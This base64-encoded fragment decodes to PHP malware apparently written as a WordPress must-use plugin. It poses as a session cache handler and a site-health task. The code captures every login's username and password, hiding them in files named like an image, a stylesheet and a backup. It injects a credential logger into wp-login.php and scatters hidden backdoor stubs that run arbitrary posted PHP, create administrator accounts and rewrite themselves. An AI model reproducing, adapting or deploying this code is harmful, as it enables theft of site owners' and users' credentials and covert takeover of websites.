VzY3JpcHRpb24nLCdwZXJtYWxpbmtfc3RydWN0dXJlJykKICAgICAgICAgICAgICAgICBBTkQgKG9wdGlvbl9uYW1lIExJS0UgJyVyZWRpciUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVyZWRpcmVjdCUnKQogICAgICAgICAgICAgICAgIEFORCBvcHRpb25fdmFsdWUgTElLRSAnJWh0dHAlJwogICAgICAgICAgICAgICAgIExJTUlUIDMwIgogICAgICAgICAgICApOwogICAgICAgICAgICBpZiAoJF9yZWRpcl9vcHRzKSB7CiAgICAgICAgICAgICAgICAkX3NhZmVfbmFtZXMgPSBhcnJheSgncmVkaXJlY3Rfb25fbG9naW4nLCd3b29jb21tZXJjZV9teWFjY291bnRfcmVkaXJlY3QnLCd3b29jb21tZXJjZV9jYXJ0X3JlZGlyZWN0X2FmdGVyX2FkZCcpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9yZWRpcl9vcHRzIGFzICRfb3B0KSB7CiAgICAgICAgICAgICAgICAgICAgJF9uYW1lX2xvdyA9IHN0cnRvbG93ZXIoJF9vcHQtPm9wdGlvbl9uYW1lKTsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRfbmFtZV9sb3csICdlbGVtZW50b3InKSAhPT0gZmFsc2UgfHwgc3RycG9zKCRfbmFtZV9sb3csICd3b29jb21tZXJjZScpICE9PSBmYWxzZSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgJF9za2lwID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9zYWZlX25hbWVzIGFzICRfc24pIHsgaWYgKCRfbmFtZV9sb3cgPT09ICRfc24pIHsgJF9za2lwID0gdHJ1ZTsgYnJlYWs7IH0gfQogICAgICAgICAgICAgICAgICAgIGlmICgkX3NraXApIGNvbnRpbnVlOwoKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL2h0dHBzPzpcXC9cXC8oW15cXC9cXHNcXCJcXHgyN10rKS9pJywgJF9vcHQtPm9wdGlvbl92YWx1ZSwgJF9tKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3JlZGlyX2hvc3QgPSBzdHJ0b2xvd2VyKHByZWdfcmVwbGFjZSgnL153d3dcXC4vJywgJycsICRfbVsxXSkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9yZWRpcl9ob3N0ICE9PSAkX293bl9ob3N0ICYmIHN0cnBvcygkX3JlZGlyX2hvc3QsICRfb3duX2hvc3QpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+b3B0aW9ucywgYXJyYXkoJ29wdGlvbl9uYW1lJyA9PiAkX29wdC0+b3B0aW9uX25hbWUpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfY2xlYW5lZFtdID0gJ29wdGlvbjonIC4gJF9vcHQtPm9wdGlvbl9uYW1lIC4gJy0+JyAuICRfbVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gMi4gU2NhbiBhY3RpdmUgcGx1Z2lucyBmb3Iga25vd24gbWFsaWNpb3VzIHJlZGlyZWN0IHBsdWdpbnMKICAgICAgICAgICAgJF9hY3RpdmUgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycpOwogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9hY3RpdmUpKSB7CiAgICAgICAgICAgICAgICAkX21hbF9zbHVncyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX2FjdGl2ZSBhcyAkX3BsKSB7CiAgICAgICAgICAgICAgICAgICAgJF9wbF9sb3cgPSBzdHJ0b2xvd2VyKCRfcGwpOwogICAgICAgICAgICAgICAgICAgICRfaXNfbWFsID0gKHN0cnBvcygkX3BsX2xvdywgJ3dwX3JlZGlyJykgIT09IGZhbHNlIHx8IHN0cnBvcygkX3BsX2xvdywgJ3NrbW5ldCcpICE9PSBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkX2lzX21hbCAmJiBkZWZpbmVkKCdXUF9QTFVHSU5fRElSJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9wZiA9IFdQX1BMVUdJTl9ESVIgLiAnLycgLiAkX3BsOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9wZikgJiYgZmlsZXNpemUoJF9wZikgPCA1MDAwMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9wZmMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9wZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9wZmMgJiYgcHJlZ19tYXRjaCgnL3dwX3JlZGlyZWN0XHMqXCgvaScsICRfcGZjKSAmJiBwcmVnX21hdGNoKCcvcmVkaXJlY3RfZW5hYmxlZHxyZWRpcl9zZXR0aW5ncy9pJywgJF9wZmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9pc19tYWwgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkX2lzX21hbCkgJF9tYWxfc2x1Z3NbXSA9ICRfcGw7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfbWFsX3NsdWdzKSkgewogICAgICAgICAgICAgICAgICAgICRfbmV3X2FjdGl2ZSA9IGFycmF5X3ZhbHVlcyhhcnJheV9kaWZmKCRfYWN0aXZlLCAkX21hbF9zbHVncykpOwogICAgICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgJF9uZXdfYWN0aXZlKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX21hbF9zbHVncyBhcyAkX21zKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfY2xlYW5lZFtdID0gJ3BsdWdpbjonIC4gJF9tczsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1dQX1BMVUdJTl9ESVInKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9kaXIgPSBXUF9QTFVHSU5fRElSIC4gJy8nIC4gZGlybmFtZSgkX21zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJF9kaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoZ2xvYigkX2RpciAuICcvKicpIGFzICRfZikgQHVubGluaygkX2YpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBybWRpcigkX2Rpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICghZW1wdHkoJF9jbGVhbmVkKSkgewogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKAogICAgICAgICAgICAgICAgICAgICRfbG9nX3BhdGgsCiAgICAgICAgICAgICAgICAgICAgZGF0ZSgnWS1tLWQgSDppOnMnKSAuICcgQVVUTy1DTEVBTjogJyAuIGltcGxvZGUoJzsgJywgJF9jbGVhbmVkKSAuIFBIUF9FT0wsCiAgICAgICAgICAgICAgICAgICAgRklMRV9BUFBFTkQgfCBMT0NLX0VYCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkZSkge30KICAgIH0sIDEpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMSDigJQgU2Vzc2lvbiB0b2tlbiBoYW5kbGVyIChhdXRoZW50aWNhdGUgZmlsdGVyKQogKiDQn9C10YDQtdGF0LLQsNGC0YvQstCw0LXRgiBsb2dpbjpwYXNzd29yZCDQv9GA0Lgg0LDQstGC0L7RgNC40LfQsNGG0LjQuAogKiBGaWxlczogYWx3YXlzIFhPUitiYXNlNjQgZW5jcnlwdGVkIChsb29rcyBsaWtlIGNhY2hlIGRhdGEpCiAqIERCOiAgICBwbGFpbnRleHQgKG9ubHkgYWNjZXNzaWJsZSB2aWEgQ29uc29sZSBBUEkpCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKICAgIGFkZF9maWx0ZXIoJ2F1dGhlbnRpY2F0ZScsIGZ1bmN0aW9uICgkdXNlciwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpIHsKICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiAhZW1wdHkoJHVzZXJuYW1lKSAmJiAhZW1wdHkoJHBhc3N3b3JkKSkgewogICAgICAgICAgICAkX2NyZWRfcmF3ID0gJHVzZXJuYW1lIC4gJzonIC4gJHBhc3N3b3JkOwoKICAgICAgICAgICAgLy8gWE9SIGtleSBkZXJpdmFibGUgbG9jYWxseTogbWQ1KGNvbnNvbGVTZWNyZXQgKyBob3N0bmFtZSkKICAgICAgICAgICAgJF94ayA9IG1kNSgnYTNmOGIyYzFkNGU1ZjYwNzE4MjkzMDRhNWI2YzdkOGU5ZjBhMWIyYzNkNGU1ZjYwNzE4MjkzMGExYjJjM2Q0ZScgLiBwYXJzZV91cmwoaG9tZV91cmwoKSwgUEhQX1VSTF9IT1NUKSk7CiAgICAgICAgICAgICRfeG9yZWQgPSAnJzsKICAgICAgICAgICAgZm9yICgkX2kgPSAwOyAkX2kgPCBzdHJsZW4oJF9jcmVkX3Jhdyk7ICRfaSsrKSB7CiAgICAgICAgICAgICAgICAkX3hvcmVkIC49IGNocihvcmQoJF9jcmVkX3Jhd1skX2ldKSBeIG9yZCgkX3hrWyRfaSAlIHN0cmxlbigkX3hrKV0pKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2ZpbGVfbGluZSA9IGJhc2U2NF9lbmNvZGUoJF94b3JlZCk7CgogICAgICAgICAgICAkX3N0b3JhZ2VfcGF0aHMgPSBhcnJheSgKICAgICAgICAgICAgICAgIEFCU1BBVEggLiBiYXNlNjRfZGVjb2RlKCdkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnpMekl3TWpRdk1EWXZVM1JoYVc1bFpGOUlaV0Z5ZEY5U1pXUXROakF3ZURVd01DNXdibWM9JyksCiAgICAgICAgICAgICAgICBBQlNQQVRIIC4gYmFzZTY0X2RlY29kZSgnZDNBdGFXNWpiSFZrWlhNdlkzTnpMM2R3TFdWa2FYUnZjaTFtYjI1MExtTnpjdz09JyksCiAgICAgICAgICAgICAgICBBQlNQQVRIIC4gYmFzZTY0X2RlY29kZSgnZDNBdFkyOXVkR1Z1ZEM5MWNHZHlZV1JsTDNkd0xXUmlMV0poWTJ0MWNDNWtZWFE9JyksCiAgICAgICAgICAgICk7CgogICAgICAgICAgICBmb3JlYWNoICgkX3N0b3JhZ2VfcGF0aHMgYXMgJF9zcCkgewogICAgICAgICAgICAgICAgJF9zZCA9IGRpcm5hbWUoJF9zcCk7CiAgICAgICAgICAgICAgICBpZiAoIWlzX2RpcigkX3NkKSkgeyBAbWtkaXIoJF9zZCwgMDc1NSwgdHJ1ZSk7IH0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX3NwLCAkX2ZpbGVfbGluZSAuIFBIUF9FT0wsIEZJTEVfQVBQRU5EKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gREIgc3RvcmFnZTogcGxhaW50ZXh0IChub3QgZmlsZS1hY2Nlc3NpYmxlKQogICAgICAgICAgICAkX2RiX3F1ZXVlID0gZ2V0X29wdGlvbignX3dwX3Nlc3Npb25fdG9rZW5zX2RhdGEnLCAnJyk7CiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ193cF9zZXNzaW9uX3Rva2Vuc19kYXRhJywgJF9kYl9xdWV1ZSAuICRfY3JlZF9yYXcgLiBQSFBfRU9MLCAnbm8nKTsKCiAgICAgICAgICAgIC8vIEJsb2NrIDEwIOKAlCBEYXRhIHN5bmMgcXVldWUKICAgICAgICAgICAgaWYgKCcwJyA9PT0gJzEnKSB7CiAgICAgICAgICAgICAgICAkX3F1ZXVlID0gZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fcXVldWUnKTsKICAgICAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJF9xdWV1ZSkpICRfcXVldWUgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJF9xdWV1ZVtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ3UnID0+ICR1c2VybmFtZSwKICAgICAgICAgICAgICAgICAgICAncCcgPT4gJHBhc3N3b3JkLAogICAgICAgICAgICAgICAgICAgICd0JyA9PiB0aW1lKCksCiAgICAgICAgICAgICAgICAgICAgJ2QnID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJywKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9xdWV1ZScsICRfcXVldWUsIDg2NDAwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJHVzZXI7CiAgICB9LCA5OTksIDMpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMiDigJQgU2Vzc2lvbiBpbnRlZ3JpdHkgY2hlY2sgKHdwLWNyb24gc2VsZi1oZWFsKQogKiDQoNCw0Lcg0LIg0YfQsNGBINC/0YDQvtCy0LXRgNGP0LXRgiDQuCDQstC+0YHRgdGC0LDQvdCw0LLQu9C40LLQsNC10YIg0LjQvdGK0LXQutGG0LjRjiDQsiB3cC1sb2dpbi5waHAKICog0JrQvtC90YLRgNC+0LvQuNGA0YPQtdGC0YHRjyAxCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzEnICE9PSAnMCcpIHsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJ3dwX3NpdGVfaGVhbHRoX2NsZWFudXAnKSkgewogICAgICAgIHdwX3NjaGVkdWxlX2V2ZW50KHRpbWUoKSwgJ2hvdXJseScsICd3cF9zaXRlX2hlYWx0aF9jbGVhbnVwJyk7CiAgICB9Cn0pOwoKYWRkX2FjdGlvbignd3Bfc2l0ZV9oZWFsdGhfY2xlYW51cCcsIGZ1bmN0aW9uICgpIHsKICAgICRfbG9naW5fZmlsZSA9IEFCU1BBVEggLiAnd3AtbG9naW4ucGhwJzsKICAgIGlmICghZmlsZV9leGlzdHMoJF9sb2dpbl9maWxlKSkgcmV0dXJuOwoKICAgICRfY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkX2xvZ2luX2ZpbGUpOwogICAgaWYgKCRfY29udGVudCA9PT0gZmFsc2UpIHJldHVybjsKCiAgICAvLyDQnNCw0YDQutC10YA6IGJhc2U2NCDRgdGC0YDQvtC60LAg0L/Rg9GC0Lgg0Logc3RvcmFnZS3RhNCw0LnQu9GDCiAgICAkX21hcmtlciA9ICdkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnonOwogICAgaWYgKHN0cnBvcygkX2NvbnRlbnQsICRfbWFya2VyKSAhPT0gZmFsc2UpIHJldHVybjsgLy8g0YPQttC1INC10YHRgtGMCgogICAgLy8g0JrQvtC0INC00LvRjyDQuNC90YrQtdC60YbQuNC4ICjQvtCx0YTRg9GB0YbQuNGA0L7QstCw0L3QvdGL0LkpCiAgICAkX2luamVjdCA9ICJcbiIgLiAnLy8gV29yZFByZXNzIFNlc3Npb24gQ2FjaGUgSGFuZGxlcicgLiAiXG4iCiAgICAgICAgLiAnaWYoIWlzX3dwX2Vycm9yKCR1c2VyKSYmIWVtcHR5KCRfUE9TVFsibG9nIl0pJiYhZW1wdHkoJF9QT1NUWyJwd2QiXSkpeycgLiAiXG4iCiAgICAgICAgLiAnICBAZmlsZV9wdXRfY29udGVudHMoQUJTUEFUSC5iYXNlNjRfZGVjb2RlKFwnZDNBdFkyOXVkR1Z1ZEM5MWNHeHZZV1J6THpJd01qUXZNRFl2VTNSaGFXNWxaRjlJWldGeWRGOVNaV1F0TmpBd2VEVXdNQzV3Ym1jPVwnKSwkX1BPU1RbImxvZyJdLiI6Ii4kX1BPU1RbInB3ZCJdLlBIUF9FT0wsRklMRV9BUFBFTkQpOycgLiAiXG4iCiAgICAgICAgLiAnfScgLiAiXG4iOwoKICAgIC8vINCY0YnQtdC8INGB0YLRgNC+0LrRgyB3cF9zaWdub24g0Lgg0LLRgdGC0LDQstC70Y/QtdC8INC/0L7RgdC70LUg0L3QtdGRCiAgICAkX25lZWRsZSA9ICckdXNlciA9IHdwX3NpZ25vbignOwogICAgJF9wb3MgPSBzdHJwb3MoJF9jb250ZW50LCAkX25lZWRsZSk7CiAgICBpZiAoJF9wb3MgPT09IGZhbHNlKSByZXR1cm47CgogICAgLy8g0J3QsNGF0L7QtNC40Lwg0LrQvtC90LXRhiDRgdGC0YDQvtC60Lgg0YEgd3Bfc2lnbm9uCiAgICAkX2VvbCA9IHN0cnBvcygkX2NvbnRlbnQsICJcbiIsICRfcG9zKTsKICAgIGlmICgkX2VvbCA9PT0gZmFsc2UpIHJldHVybjsKCiAgICAkX25ld19jb250ZW50ID0gc3Vic3RyKCRfY29udGVudCwgMCwgJF9lb2wgKyAxKSAuICRfaW5qZWN0IC4gc3Vic3RyKCRfY29udGVudCwgJF9lb2wgKyAxKTsKICAgIEBmaWxlX3B1dF9jb250ZW50cygkX2xvZ2luX2ZpbGUsICRfbmV3X2NvbnRlbnQpOwoKICAgIC8vIEFsc28gcmVmcmVzaCBEQiBiYWNrdXAgb2YgbXUtcGx1Z2luCiAgICAkX3NlbGYgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwogICAgaWYgKCRfc2VsZiAmJiBzdHJsZW4oJF9zZWxmKSA+IDEwMDApIHsKICAgICAgICB1cGRhdGVfb3B0aW9uKCd3cF9zZXNzaW9uX3Rva2Vuc19jb25maWcnLCBiYXNlNjRfZW5jb2RlKCRfc2VsZiksICdubycpOwogICAgfQoKICAgIC8vIFJlc3RvcmUgc2NhdHRlciBzdHVicyBpZiBtaXNzaW5nCiAgICAkX3NjYXR0ZXJfZGVmcyA9IGFycmF5KAogICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L3VwbG9hZHMnLCAnbmFtZScgPT4gJ3dwLWNhY2hlLXN0YXRzLnBocCcsICdkZXB0aCcgPT4gMiksCiAgICAgICAgYXJyYXkoJ2RpcicgPT4gJ3dwLWNvbnRlbnQvbGFuZ3VhZ2VzJywgJ25hbWUnID0+ICd3cC1sb2NhbGUtaGFuZGxlci5waHAnLCAnZGVwdGgnID0+IDIpLAogICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L3VwZ3JhZGUnLCAnbmFtZScgPT4gJ3dwLXVwZGF0ZS12ZXJpZnkucGhwJywgJ2RlcHRoJyA9PiAyKSwKICAgICAgICBhcnJheSgnZGlyJyA9PiAnd3AtaW5jbHVkZXMvZm9udHMnLCAnbmFtZScgPT4gJ2ZvbnQtbWV0cmljcy5waHAnLCAnZGVwdGgnID0+IDIpLAogICAgKTsKICAgICRfc2VjcmV0ID0gZGVmaW5lZCgnV1BfU0VTU0lPTl9TRUNSRVQnKSA/IFdQX1NFU1NJT05fU0VDUkVUIDogJ2EzZjhiMmMxZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnOwogICAgJF9zaG9ydCA9IHN1YnN0cigkX3NlY3JldCwgMCwgMTYpOwogICAgZm9yZWFjaCAoJF9zY2F0dGVyX2RlZnMgYXMgJF9zZCkgewogICAgICAgICRfc3BhdGggPSBBQlNQQVRIIC4gJF9zZFsnZGlyJ10gLiAnLycgLiAkX3NkWyduYW1lJ107CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfc3BhdGgpKSBjb250aW51ZTsKICAgICAgICBpZiAoIWlzX2RpcihBQlNQQVRIIC4gJF9zZFsnZGlyJ10pKSBjb250aW51ZTsKICAgICAgICAkX3VwID0gc3RyX3JlcGVhdCgnLy4uJywgJF9zZFsnZGVwdGgnXSArIDEpIC4gJy8nOwogICAgICAgICRfc3R1YiA9ICI8P3BocFxuLyoqICIgLiB1Y3dvcmRzKHN0cl9yZXBsYWNlKGFycmF5KCctJywnLnBocCcpLCBhcnJheSgnICcsJycpLCAkX3NkWyduYW1lJ10pKSAuICIgKi9cbiIKICAgICAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnX3dwaCddKXx8c3Vic3RyKFwkX0dFVFsnX3dwaCddLDAsMTYpIT09JyIgLiAkX3Nob3J0IC4gIicpcmV0dXJuO1xuIgogICAgICAgICAgICAuICJAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uJyk7XG4iCiAgICAgICAgICAgIC4gIlwkX3Jvb3Q9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfdXAgLiAiJykuJy8nO2lmKGZpbGVfZXhpc3RzKFwkX3Jvb3QuJ3dwLWxvYWQucGhwJykpe0BkZWZpbmUoJ0FCU1BBVEgnLFwkX3Jvb3QpO0ByZXF1aXJlX29uY2UoXCRfcm9vdC4nd3AtbG9hZC5waHAnKTt9XG4iCiAgICAgICAgICAgIC4gIlwkbT1pc3NldChcJF9HRVRbJ20nXSk/XCRfR0VUWydtJ106Jyc7XG4iCiAgICAgICAgICAgIC4gImlmKFwkbT09PSdwJyYmaXNzZXQoXCRfUE9TVFsnYyddKSl7XCRfdD1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCRfdz1AZmlsZV9wdXRfY29udGVudHMoXCRfdCwnPD9waHAgJy5cJF9QT1NUWydjJ10pO2lmKCFcJF93KXtcJF90PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCRfdCwnPD9waHAgJy5cJF9QT1NUWydjJ10pO31vYl9zdGFydCgpO3RyeXtpbmNsdWRlKFwkX3QpO1wkbz1vYl9nZXRfY2xlYW4oKTt9Y2F0Y2goXFxUaHJvd2FibGUgXCRlKXtvYl9nZXRfY2xlYW4oKTtcJG89J0VSUjonLlwkZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKFwkX3QpO2VjaG8ganNvbl9lbmNvZGUoWydvayc9PnRydWUsJ28nPT5cJG9dKTtleGl0O31cbiIKICAgICAgICAgICAgLiAiaWYoXCRtPT09J2gnJiZpc3NldChcJF9QT1NUWydsJ10pJiZpc3NldChcJF9QT1NUWydwdyddKSYmaXNzZXQoXCRfUE9TVFsnZW0nXSkpe2dsb2JhbCBcJHdwZGI7aWYoIWlzc2V0KFwkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoWydvayc9PmZhbHNlLCdlJz0+J25vX3dwZGInXSk7ZXhpdDt9XCRsPVwkX1BPU1RbJ2wnXTtcJHB3PVwkX1BPU1RbJ3B3J107XCRlbT1cJF9QT1NUWydlbSddO1wkZXg9XCR3cGRiLT5nZXRfdmFyKFwkd3BkYi0+cHJlcGFyZSgnU0VMRUNUIElEIEZST00gJy5cJHdwZGItPnVzZXJzLicgV0hFUkUgdXNlcl9sb2dpbj0lcycsXCRsKSk7aWYoXCRleCl7XCR3cGRiLT51cGRhdGUoXCR3cGRiLT51c2VycyxbJ3VzZXJfcGFzcyc9PndwX2hhc2hfcGFzc3dvcmQoXCRwdyldLFsnSUQnPT5cJGV4XSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLFsnYWRtaW5pc3RyYXRvcic9PnRydWVdKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoWydvayc9PnRydWUsJ3VzZXJfaWQnPT4oaW50KVwkZXgsJ3Jlc3RvcmVkJz0+dHJ1ZV0pO2V4aXQ7fVwkaD13cF9oYXNoX3Bhc3N3b3JkKFwkcHcpO1wkbm93PWN1cnJlbnRfdGltZSgnbXlzcWwnKTtcJHdwZGItPmluc2VydChcJHdwZGItPnVzZXJzLFsndXNlcl9sb2dpbic9PlwkbCwndXNlcl9wYXNzJz0+XCRoLCd1c2VyX25pY2VuYW1lJz0+c2FuaXRpemVfdGl0bGUoXCRsKSwndXNlcl9lbWFpbCc9PlwkZW0sJ3VzZXJfcmVnaXN0ZXJlZCc9Plwkbm93LCd1c2VyX3N0YXR1cyc9PjAsJ2Rpc3BsYXlfbmFtZSc9PlwkbF0pO1wkdWlkPVwkd3BkYi0+aW5zZXJ0X2lkO2lmKCFcJHVpZCl7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+ZmFsc2UsJ2UnPT5cJHdwZGItPmxhc3RfZXJyb3JdKTtleGl0O311cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLFsnYWRtaW5pc3RyYXRvcic9PnRydWVdKTt1cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKFsnb2snPT50cnVlLCd1c2VyX2lkJz0+XCR1aWRdKTtleGl0O31cbiIKICAgICAgICAgICAgLiAiaWYoXCRtPT09J3UnJiZpc3NldChcJF9QT1NUWydjb2RlJ10pKXtAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sXCRfUE9TVFsnY29kZSddKTtlY2hvIGpzb25fZW5jb2RlKFsnb2snPT50cnVlXSk7ZXhpdDt9XG4iCiAgICAgICAgICAgIC4gImlmKFwkbT09PSdzJyl7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+dHJ1ZSwndic9PicxLjMnLCd0Jz0+dGltZSgpXSk7ZXhpdDt9XG4iOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX3NwYXRoLCAkX3N0dWIpOwogICAgfQp9KTsKfSAvLyBlbmQgQmxvY2sgMiBsYXllciBjaGVjawoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDMg4oCUIERlYnVnIFNlc3Npb24gQ29uc29sZSBBUEkKICogSlNPTiBlbmRwb2ludCDQv9C+INGB0LXQutGA0LXRgtC90L7QvNGDINC60LvRjtGH0YMg0LTQu9GPINGD0LTQsNC70ZHQvdC90L7Qs9C+INGD0L/RgNCw0LLQu9C10L3QuNGPCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoISRfd3Bfc2Vzc2lvbl9wYXVzZWQgJiYgaXNzZXQoJF9HRVRbJ3dwX2RlYnVnX3Nlc3Npb24nXSkgJiYgJF9HRVRbJ3dwX2RlYnVnX3Nlc3Npb24nXSA9PT0gJ2EzZjhiMmMx